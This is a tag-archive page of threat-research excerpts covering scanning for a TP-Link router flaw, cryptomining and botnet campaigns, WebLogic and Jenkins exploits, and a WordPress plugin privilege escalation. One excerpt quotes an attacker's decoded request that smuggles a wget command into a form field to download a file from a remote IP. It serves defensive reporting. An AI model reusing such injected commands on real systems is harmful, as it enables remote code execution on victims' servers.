Tag: CVE-2017-10271

Who Is Scanning for CVE-2023-1389? Back in April, when we first started tracking CVE-2023-1389, we did an analysis of who was scanning for it, and found that the majority of scanning activity was coming from just two ASNs, AS49870 (Alsycon, a hosting provider out of the Netherlands) and AS47890 (Unmanaged Ltd). Running these analyses again,…

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Introduction Last month’s Sensor Intel Series for March 2024 uncovered the explosion in traffic hunting for systems affected by CVE-2023-1389. The flaw which related to TP-Link Archer AX21 Wi-Fi routers has quickly become the new darling of threat actors looking to build out their DDoS botnets. No new signatures have been introduced this month. Instead,…

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The majority of the scanning activity is coming from IP addresses assigned to just a handful of ASNs, mostly AS49870 (Alsycon, a hosting provider out of the Netherlands) and AS47890 (Unmanaged Ltd, what looks to be an IT consulting firm based out of the UK). The scanners appear to be using VPS or other resources…

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Last week, a malware campaign targeting Jenkins automation servers was reported by CheckPoint researchers.1 The attackers exploited a deserialization vulnerability2 in Jenkin’s bidirectional channel (CVE-2017-1000353)3 to deploy Monero cryptomining malware that generated an estimated profit of $3 million. Following this disclosure, F5 researchers observed what appears to be the same threat actor group, as they…

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Figure 2: Weblogic WLS-WSAT campaign attempting to download and execute the same Windows executable file   This attempt to download the same file immediately indicated to us that the same attacker was using different exploits in the operation. Unfortunately, these files weren’t available to download from the original server nor from other malware repositories, so…

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After the vulnerable server decodes the string, it is instructed to download a malicious file. The malicious request after decoding is: oProxyCommand= wget http://185.29.8.28/down.php&port=143&user=sdf&passwd=sadf&server_type=imap&f_submit=Submit. Again, in this case the threat actor took down the malicious file download.php before the researchers could download it to analyze. Weathermap Editor (cacti plugin) Arbitrary Code Execution (CVE-2013-3739) Another known…

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Conclusion Continuing the trend from January, threat actors in February delivered crypto-miners and Mirai variants. Most of the vulnerabilities exploited in February are not new, however, they are known vulnerabilities in popular applications and systems. In these cases, a threat actor is not looking for a specific target, but instead tries to exploit as many…

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As we can see in Figure 8, the developers for SG Optimizer added a permission_callback command to the newly registered REST API routes. This indicates that prior to version 5.0.13, the SG Optimizer plugin had various privilege escalation vulnerabilities. Those vulnerabilities allowed any threat actor to send a malicious request to these registered REST API…

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Oracle WebLogic WLS Security Component RCE (CVE-2019-2725) On April 21, 2019, information regarding a deserialization vulnerability in Oracle WebLogic Server was published by KnownSec 404 Team. According to the CVE, the vulnerability exists in the Web Services subcomponent of Oracle WebLogic. Similar to the previous Oracle WebLogic vulnerability discussed above, this new vulnerability also stems…

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Security researchers at F5 Networks constantly monitor web traffic at various locations throughout the world. This allows us to detect “in the wild” malware, and to get an insight into the current threat landscape. Here’s an overview of what we saw in May 2019. Throughout the month of May, the team detected 10 new attack…

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